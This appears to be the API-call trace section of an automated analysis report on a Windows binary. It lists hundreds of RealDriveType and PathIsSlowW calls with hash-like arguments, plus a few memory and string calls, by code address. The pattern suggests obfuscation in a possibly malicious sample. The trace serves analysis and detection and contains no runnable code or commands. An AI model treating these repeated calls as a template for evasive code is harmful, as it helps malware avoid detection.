RealDriveType.SHELL32(F54DF527,00000000), ref: 0040AC18
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AC1C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AC20
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AC24
RealDriveType.SHELL32(478D865F,00000000), ref: 0040AC2C
RealDriveType.SHELL32(B68AE728,00000000), ref: 0040AC34
RealDriveType.SHELL32(42B88C5D,00000000), ref: 0040AC3C
RealDriveType.SHELL32(2130DD2C,00000000), ref: 0040AC44
RealDriveType.SHELL32(531E2FC8,00000000), ref: 0040AC4C
RealDriveType.SHELL32(187EE2DE,00000000), ref: 0040AC54
RealDriveType.SHELL32(21D3AD64,00000000), ref: 0040AC5C
RealDriveType.SHELL32(761D9334,00000000), ref: 0040AC64
RealDriveType.SHELL32(B97C2FCF,00000000), ref: 0040AC6C
RealDriveType.SHELL32(C18D06F7,00000000), ref: 0040AC74
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AC85
RealDriveType.SHELL32(78549E91,00000000), ref: 0040AC8D
RealDriveType.SHELL32(4D260D71,00000000), ref: 0040AC95
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AC99
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AC9D
RealDriveType.SHELL32(3CC0BE4D,00000000), ref: 0040ACA5
RealDriveType.SHELL32(B930565C,00000000), ref: 0040ACAD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACB1
RealDriveType.SHELL32(33C4B42B,00000000), ref: 0040ACB9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACBD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACC1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACC5
RealDriveType.SHELL32(C3CE44F2,00000000), ref: 0040ACCD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACD1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACD5
RealDriveType.SHELL32(EDB294E1,00000000), ref: 0040ACDD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACE1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACE5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACE9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACED
RealDriveType.SHELL32(676A1FAE,00000000), ref: 0040ACF5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ACF9
RealDriveType.SHELL32(67A70810,00000000), ref: 0040AD01
RealDriveType.SHELL32(5F48B872,00000000), ref: 0040AD09
RealDriveType.SHELL32(27971B15,00000000), ref: 0040AD11
RealDriveType.SHELL32(D7366EE2,00000000), ref: 0040AD19
RealDriveType.SHELL32(0A30AFB3,00000000), ref: 0040AD21
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD25
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD29
RealDriveType.SHELL32(2FEA79BB,00000000), ref: 0040AD31
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD35
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD39
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD3D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD41
RealDriveType.SHELL32(31A7D9C4,00000000), ref: 0040AD49
RealDriveType.SHELL32(EF92FCD9,00000000), ref: 0040AD51

Part of subcall function 00413A99: LocalAlloc.KERNELBASE(00000040,0000FF78,00000000,0040AD5E), ref: 00413AA3

RealDriveType.SHELL32(EEBB93EC,00000000), ref: 0040AD67
RealDriveType.SHELL32(9B9733B5,00000000), ref: 0040AD6F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD73
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD77
RealDriveType.SHELL32(0165A9AB,00000000), ref: 0040AD7F
RealDriveType.SHELL32(52AC6319,00000000), ref: 0040AD87
RealDriveType.SHELL32(F72DB55A,00000000), ref: 0040AD8F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD93
RealDriveType.SHELL32(C2A664E4,00000000), ref: 0040AD9B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AD9F
RealDriveType.SHELL32(81A377A6,00000000), ref: 0040ADA7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADAB
RealDriveType.SHELL32(9F2F960F,00000000), ref: 0040ADB3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADB7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADBB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADBF
RealDriveType.SHELL32(C1FEAB48,00000000), ref: 0040ADC7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADCB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADCF
RealDriveType.SHELL32(FCEC10D5,00000000), ref: 0040ADD7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADDB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADDF
RealDriveType.SHELL32(9E92200F,00000000), ref: 0040ADE7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADEB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADEF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADF3
RealDriveType.SHELL32(BE726384,00000000), ref: 0040ADFB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ADFF
RealDriveType.SHELL32(6E9017CA,00000000), ref: 0040AE07
RealDriveType.SHELL32(ECC25C39,00000000), ref: 0040AE0F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AE13
RealDriveType.SHELL32(341C5ECE,00000000), ref: 0040AE1B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AE1F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AE23
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AE27
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AE2B
LocalAlloc.KERNEL32(00000040,00001000), ref: 0040AE34
RealDriveType.SHELL32(0ACF701D,00000000), ref: 0040AE43
RealDriveType.SHELL32(F21917E0,00000000), ref: 0040AE4B
RealDriveType.SHELL32(413E446D,00000000), ref: 0040AE53
RealDriveType.SHELL32(777E516C,00000000), ref: 0040AE5B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AE5F
RealDriveType.SHELL32(022D2594,00000000), ref: 0040AE67
RealDriveType.SHELL32(E0229C19,00000000), ref: 0040AE6F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AE73
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AE77
RealDriveType.SHELL32(7A01BD02,00000000), ref: 0040AE7F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AE83
RealDriveType.SHELL32(D429630E,00000000), ref: 0040AE8B
RealDriveType.SHELL32(5783C31B,00000000), ref: 0040AE93
RealDriveType.SHELL32(93AAA0AE,00000000), ref: 0040AE9B
RealDriveType.SHELL32(F42BA631,00000000), ref: 0040AEA3
RealDriveType.SHELL32(7B678718,00000000), ref: 0040AEAB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AEAF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AEB3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AEB7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AEBB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AEBF
RealDriveType.SHELL32(EB3A3F36,00000000), ref: 0040AEC7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AECB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AECF
RealDriveType.SHELL32(0EA91591,00000000), ref: 0040AED7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AEDB
RealDriveType.SHELL32(66DD2F54,00000000), ref: 0040AEE3
RealDriveType.SHELL32(D86F0D4A,00000000), ref: 0040AEEB
RealDriveType.SHELL32(7D3F3102,00000000), ref: 0040AEF3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AEF7
RealDriveType.SHELL32(52747308,00000000), ref: 0040AEFF
RealDriveType.SHELL32(9AE2F11F,00000000), ref: 0040AF07
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AF0B
RealDriveType.SHELL32(06E392F2,00000000), ref: 0040AF13
RealDriveType.SHELL32(93783C15,00000000), ref: 0040AF1B
RealDriveType.SHELL32(D9C4444F,00000000), ref: 0040AF23
LocalAlloc.KERNEL32(00000040,00000618), ref: 0040AF2C
RealDriveType.SHELL32(9B708F02,00000000), ref: 0040AF3B
RealDriveType.SHELL32(A701B4A9,00000000), ref: 0040AF44
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AF4A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AF50
RealDriveType.SHELL32(706AC7DC,00000000), ref: 0040AF59
RealDriveType.SHELL32(009A33D5,00000000), ref: 0040AF62
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AF68
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AF6E
RealDriveType.SHELL32(F36C18B6,00000000), ref: 0040AF77
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AF7D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AF83
RealDriveType.SHELL32(9C82BC7E,00000000), ref: 0040AF8C
RealDriveType.SHELL32(A351A974,00000000), ref: 0040AF95
RealDriveType.SHELL32(18B890EE,00000000), ref: 0040AF9E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AFA4
RealDriveType.SHELL32(3061B2B4,00000000), ref: 0040AFAD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AFB3
RealDriveType.SHELL32(4BBB664E,00000000), ref: 0040AFBC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AFC2
RealDriveType.SHELL32(A33064D7,00000000), ref: 0040AFCB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AFD1
RealDriveType.SHELL32(86B18E6E,00000000), ref: 0040AFDA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AFE0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AFE6
RealDriveType.SHELL32(349840CE,00000000), ref: 0040AFEF
RealDriveType.SHELL32(6F5D0C16,00000000), ref: 0040AFF8
RealDriveType.SHELL32(D159A406,00000000), ref: 0040B001
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B007
RealDriveType.SHELL32(D29B5F13,00000000), ref: 0040B010
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B016
RealDriveType.SHELL32(606F811A,00000000), ref: 0040B01F
RealDriveType.SHELL32(3CB88C97,00000000), ref: 0040B028
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B02E
RealDriveType.SHELL32(43AC1918,00000000), ref: 0040B037
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B03D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B043

Part of subcall function 0041BA65: RealDriveType.SHELL32(1A7F0918,00000000), ref: 0041BA7C
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BA86
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BA8A
Part of subcall function 0041BA65: RealDriveType.SHELL32(8E5CC678,00000000), ref: 0041BA92
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BA96
Part of subcall function 0041BA65: RealDriveType.SHELL32(CB3F7D16,00000000), ref: 0041BA9E
Part of subcall function 0041BA65: RealDriveType.SHELL32(FE992C12,00000000), ref: 0041BAA6
Part of subcall function 0041BA65: RealDriveType.SHELL32(36854D30,00000000), ref: 0041BAAE
Part of subcall function 0041BA65: RealDriveType.SHELL32(93A16199,00000000), ref: 0041BAB6
Part of subcall function 0041BA65: RealDriveType.SHELL32(08C14845,00000000), ref: 0041BABE
Part of subcall function 0041BA65: RealDriveType.SHELL32(8F3F85C5,00000000), ref: 0041BAC6
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BACA
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BACE
Part of subcall function 0041BA65: RealDriveType.SHELL32(0DEDF582,00000000), ref: 0041BAD6
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BADA
Part of subcall function 0041BA65: RealDriveType.SHELL32(E542DC49,00000000), ref: 0041BAE2
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BAE6
Part of subcall function 0041BA65: RealDriveType.SHELL32(8F03C182,00000000), ref: 0041BAEE
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BAF2
Part of subcall function 0041BA65: RealDriveType.SHELL32(321E4A37,00000000), ref: 0041BAFA
Part of subcall function 0041BA65: RealDriveType.SHELL32(EEC488FF,00000000), ref: 0041BB02
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB06
Part of subcall function 0041BA65: RealDriveType.SHELL32(7EABEA1A,00000000), ref: 0041BB0E
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB12
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB16
Part of subcall function 0041BA65: RealDriveType.SHELL32(99835827,00000000), ref: 0041BB1E
Part of subcall function 0041BA65: RealDriveType.SHELL32(D86BF9CB,00000000), ref: 0041BB26
Part of subcall function 0041BA65: RealDriveType.SHELL32(5474F442,00000000), ref: 0041BB2E
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB32
Part of subcall function 0041BA65: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB36

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B050
RealDriveType.SHELL32(F1ACCB83,00000000), ref: 0040B05D
RealDriveType.SHELL32(F88B0E0E,00000000), ref: 0040B066
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B06C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B076
RealDriveType.SHELL32(98A43AB0,00000000), ref: 0040B083
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B089
RealDriveType.SHELL32(A75A1E10,00000000), ref: 0040B096
RealDriveType.SHELL32(A2D423D3,00000000), ref: 0040B09F
RealDriveType.SHELL32(42AD1DA2,00000000), ref: 0040B0A8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B0AE
RealDriveType.SHELL32(D7DA2DE7,00000000), ref: 0040B0BB
RealDriveType.SHELL32(001371AB,00000000), ref: 0040B0C4
RealDriveType.SHELL32(9693EBEB,00000000), ref: 0040B0CD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B0D3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B0DD
RealDriveType.SHELL32(E7B8368A,00000000), ref: 0040B0EA
RealDriveType.SHELL32(9419FC85,00000000), ref: 0040B0F3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B0F9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B103
RealDriveType.SHELL32(1C328527,00000000), ref: 0040B110
RealDriveType.SHELL32(EDE1F435,00000000), ref: 0040B119
RealDriveType.SHELL32(A11357D3,00000000), ref: 0040B122
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B128
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B132
RealDriveType.SHELL32(9819067D,00000000), ref: 0040B13F
RealDriveType.SHELL32(47E43C25,00000000), ref: 0040B148
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B14E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B158
RealDriveType.SHELL32(5433B0A9,00000000), ref: 0040B165
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B16B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B175
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B17F
RealDriveType.SHELL32(53CDA292,00000000), ref: 0040B18C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B198
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B19E

Part of subcall function 0041C041: RealDriveType.SHELL32(1E02F6D0,00000000), ref: 0041C05D
Part of subcall function 0041C041: RealDriveType.SHELL32(908E1C70,00000000), ref: 0041C065
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C06F
Part of subcall function 0041C041: RealDriveType.SHELL32(82E8E4BD,00000000), ref: 0041C077
Part of subcall function 0041C041: RealDriveType.SHELL32(B1261FB9,00000000), ref: 0041C07F
Part of subcall function 0041C041: RealDriveType.SHELL32(9669D78D,00000000), ref: 0041C087
Part of subcall function 0041C041: RealDriveType.SHELL32(C18C6EFD,00000000), ref: 0041C08F
Part of subcall function 0041C041: RealDriveType.SHELL32(E331B2D8,00000000), ref: 0041C097
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C09B
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C09F
Part of subcall function 0041C041: RealDriveType.SHELL32(F3F35B39,00000000), ref: 0041C0A7
Part of subcall function 0041C041: RealDriveType.SHELL32(10452232,00000000), ref: 0041C0AF
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0B3
Part of subcall function 0041C041: RealDriveType.SHELL32(0564A25C,00000000), ref: 0041C0BB
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0BF
Part of subcall function 0041C041: RealDriveType.SHELL32(4B7C30C8,00000000), ref: 0041C0C7
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0CB
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0CF
Part of subcall function 0041C041: RealDriveType.SHELL32(C55F9B72,00000000), ref: 0041C0D7
Part of subcall function 0041C041: RealDriveType.SHELL32(86D3F9E5,00000000), ref: 0041C0DF
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0E3
Part of subcall function 0041C041: RealDriveType.SHELL32(B233A263,00000000), ref: 0041C0EB
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0EF
Part of subcall function 0041C041: RealDriveType.SHELL32(001D81F4,00000000), ref: 0041C0F7
Part of subcall function 0041C041: RealDriveType.SHELL32(5C3665BE,00000000), ref: 0041C0FF
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C103
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C107
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C10B
Part of subcall function 0041C041: RealDriveType.SHELL32(CE9554D3,00000000), ref: 0041C113
Part of subcall function 0041C041: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C117

RealDriveType.SHELL32(A0170653,00000000), ref: 0040B1AE
RealDriveType.SHELL32(AE95C101,00000000), ref: 0040B1BB
RealDriveType.SHELL32(E19F0BFA,00000000), ref: 0040B1C8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B1D2
RealDriveType.SHELL32(8468551D,00000000), ref: 0040B1DF
RealDriveType.SHELL32(55F2590C,00000000), ref: 0040B1EC
RealDriveType.SHELL32(38CD325C,00000000), ref: 0040B1F9
RealDriveType.SHELL32(E94A970E,00000000), ref: 0040B206
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B210
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B21A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B224
RealDriveType.SHELL32(EA6ED0C9,00000000), ref: 0040B231
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B23B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B245
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B24F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B259
RealDriveType.SHELL32(9A5BEC63,00000000), ref: 0040B266
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B270
RealDriveType.SHELL32(1E0518E6,00000000), ref: 0040B27D
RealDriveType.SHELL32(F80A6E86,00000000), ref: 0040B28A
RealDriveType.SHELL32(F7DDA8C4,00000000), ref: 0040B297
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B2A1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B2AB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B2B5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B2BF
RealDriveType.SHELL32(CAB8423A,00000000), ref: 0040B2CC
RealDriveType.SHELL32(A3B27359,00000000), ref: 0040B2D9
RealDriveType.SHELL32(659BFFA4,00000000), ref: 0040B2E6
RealDriveType.SHELL32(193B17CC,00000000), ref: 0040B2F3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B2FD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B307
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B311
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B31B
RealDriveType.SHELL32(D5D10BCD,00000000), ref: 0040B328
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B332
RealDriveType.SHELL32(5F95742E,00000000), ref: 0040B33F
StrCpyW.SHLWAPI(00000000), ref: 0040B34C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B358
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B362
RealDriveType.SHELL32(DBF8308D,00000000), ref: 0040B36F
RealDriveType.SHELL32(1C531DFE,00000000), ref: 0040B37C
RealDriveType.SHELL32(A80637E8,00000000), ref: 0040B389
RealDriveType.SHELL32(F8B6FAB6,00000000), ref: 0040B396
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B3A0
RealDriveType.SHELL32(AD6945B1,00000000), ref: 0040B3AD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B3B7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B3C1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B3CB
RealDriveType.SHELL32(D1843530,00000000), ref: 0040B3D8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B3E2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B3EC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B3F6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B400
RealDriveType.SHELL32(D4369BD9,00000000), ref: 0040B40D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B417
RealDriveType.SHELL32(F30863F9,00000000), ref: 0040B424
RealDriveType.SHELL32(FC433F14,00000000), ref: 0040B431
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B43B
RealDriveType.SHELL32(EB2D5E02,00000000), ref: 0040B448
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B452
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B45C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B466
RealDriveType.SHELL32(F90CFAAB,00000000), ref: 0040B473
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B47D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B487
RealDriveType.SHELL32(92F9F184,00000000), ref: 0040B494
RealDriveType.SHELL32(FC6E9976,00000000), ref: 0040B4A1
RealDriveType.SHELL32(2FC626FA,00000000), ref: 0040B4AE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B4B8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B4C2
RealDriveType.SHELL32(F7AB1BA9,00000000), ref: 0040B4CF
RealDriveType.SHELL32(39AAE4F1,00000000), ref: 0040B4DC
RealDriveType.SHELL32(3F960112,00000000), ref: 0040B4E9

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

RealDriveType.SHELL32(47E0A68A,00000000), ref: 0040B507
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B50D
RealDriveType.SHELL32(EFFF21B9,00000000), ref: 0040B51A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B520
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B52A
RealDriveType.SHELL32(1C963CC4,00000000), ref: 0040B537
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B53D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B547
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B551
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B55B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B565
RealDriveType.SHELL32(1398D43D,00000000), ref: 0040B572
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B578
RealDriveType.SHELL32(5ACEE098,00000000), ref: 0040B585
RealDriveType.SHELL32(B4F3ABB5,00000000), ref: 0040B58E
RealDriveType.SHELL32(F2738303,00000000), ref: 0040B597
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B59D
RealDriveType.SHELL32(81E96516,00000000), ref: 0040B5AA
RealDriveType.SHELL32(2CBB137D,00000000), ref: 0040B5B3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B5B9
RealDriveType.SHELL32(3892AE9C,00000000), ref: 0040B5C6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B5CC
RealDriveType.SHELL32(FCF6F5D7,00000000), ref: 0040B5D9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B5DF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B5E9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B5F3
RealDriveType.SHELL32(69C156D4,00000000), ref: 0040B600
RealDriveType.SHELL32(1B7EABF7,00000000), ref: 0040B609
RealDriveType.SHELL32(2EC651D8,00000000), ref: 0040B612
RealDriveType.SHELL32(9CC4DF96,00000000), ref: 0040B61B
RealDriveType.SHELL32(F7F011E1,00000000), ref: 0040B624
RealDriveType.SHELL32(3825527B,00000000), ref: 0040B62D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B633
RealDriveType.SHELL32(2A275857,00000000), ref: 0040B640
RealDriveType.SHELL32(77254BA3,00000000), ref: 0040B649
RealDriveType.SHELL32(E82D0997,00000000), ref: 0040B652

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
Part of subcall function 0041AD76: RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
Part of subcall function 0041AD76: RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
Part of subcall function 0041AD76: RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
Part of subcall function 0041AD76: lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
Part of subcall function 0041AD76: lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
